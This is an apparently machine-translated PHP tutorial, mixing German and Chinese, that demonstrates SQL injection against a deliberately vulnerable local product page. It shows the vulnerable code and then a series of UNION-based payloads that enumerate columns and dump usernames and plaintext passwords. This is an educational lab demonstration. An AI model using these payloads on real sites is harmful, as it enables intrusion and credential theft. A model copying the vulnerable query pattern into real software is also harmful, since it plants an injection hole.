Heim  >  Artikel  >  Backend-Entwicklung  >  Ein vollständiger Prozess der SQL-Injection in PHP

Ein vollständiger Prozess der SQL-Injection in PHP

不言
不言Original
2018-04-10 10:32:4821371Durchsuche

Der Inhalt dieses Artikels ist ein vollständiger Prozess der SQL-Injection in PHP. Jetzt kann ich ihn mit allen Freunden teilen, die ihn benötigen.

Nachdem ich einige Fähigkeiten der SQL-Injection erlernt habe Im Folgenden finden Sie eine einfache Praxis der SQL-Injection für PHP+MYSQL

Beobachten Sie zunächst zwei MYSQL-Datentabellen

Benutzerdatensatztabelle:

REATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');


Produktdatensatzliste:

CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');


Die folgende Datei ist show_product.php, die zur Anzeige der Produktliste verwendet wird. SQL-Injection nutzt auch die SQL-Anweisungsschwachstelle dieser Datei aus

<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "数据库联接错误";
exit;
}
if (!mysql_select_db("phpsql")) {
echo "选择数据库出错" . mysql_error();
exit;
}
$tempID=$_GET[&#39;id&#39;];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.&#39;<br>&#39;;
$result = mysql_query($sql);
if (!$result) {
echo "查询出错" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "没有查询结果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo &#39;ID:&#39;.$row["id"].&#39;<br>&#39;;
echo &#39;name:&#39;.$row["name"].&#39;<br>&#39;;
echo &#39;price:&#39;.$row["price"].&#39;<br>&#39;;
echo &#39;image:&#39;.$row["img"].&#39;<br>&#39;;
}
?>


Beachten Sie diese Anweisung: $sql = "SELECT * FROM php_product WHERE id =$tempID";

$tempID wird von $_GET erhalten. Wir können den Wert dieser Variablen konstruieren, um den Zweck der SQL-Injection zu erreichen

Konstruieren Sie jeweils die folgenden Links:

1, http://localhost/phpsql/index.php?id=1

Erhalten Sie die folgende Ausgabe

SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句


//Holen Sie sich die Produktinformationsliste mit ID 1

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

2、 http://localhost/phpsql/index.php?id=1 or 1=1

得到输出

SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句


//一共两条产品资料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:2

name:name_2

price:35.25

image:images/name_2.jpg

1和2都得到资料列表输出,证明SQL语句执行成功

3、判断数据表字段数量

http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

得到输出

SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句


//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:1

name:1

price:1

image:1

4、判断数据表字段类型

http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

得到输出

SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)


ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:0

name:A

price:0

image:A

注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面

为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型

5、大功告成,得到我们想要的东西:

http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

得到输出:

SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

//Zwei Benutzerinformationen ausgeben, Name ist der Benutzername, image ist das Benutzerpasswort.

ID:1

Name:seven

Preis:1

Bild:seven_pwd

ID:1

Name:swons

Preis:1

Bild:swons_pwd

Beachten Sie, dass die ID=10000 in der URL nicht zum Abrufen der Produktinformationen dient, sondern nur um die folgenden Union-Abfrageergebnisse zu erhalten. In praktischeren Situationen sind die Werte der ID unterschiedlich

Der Benutzername und das Passwort der Gewerkschaft müssen an den Positionen 2 und 4 platziert werden. Nur so kann es mit der vorherigen Select-Anweisung übereinstimmen. Dies ist das Merkmal der Union-Abfrage

-Anweisung

Hinweis:

Diese einfache Injektion Die Methode ist kontextspezifischer. In Wirklichkeit ist es komplizierter. Aber das Prinzip ist dasselbe.

Verwandte Empfehlungen:

Datensicherheitsmethode zur Verhinderung der SQL-Injection in PHP

Beispiel einer Methode zur Verhinderung der SQL-Injection in PHP



Das obige ist der detaillierte Inhalt vonEin vollständiger Prozess der SQL-Injection in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:PHP-Methode _set_state()Nächster Artikel:PHP-Methode _set_state()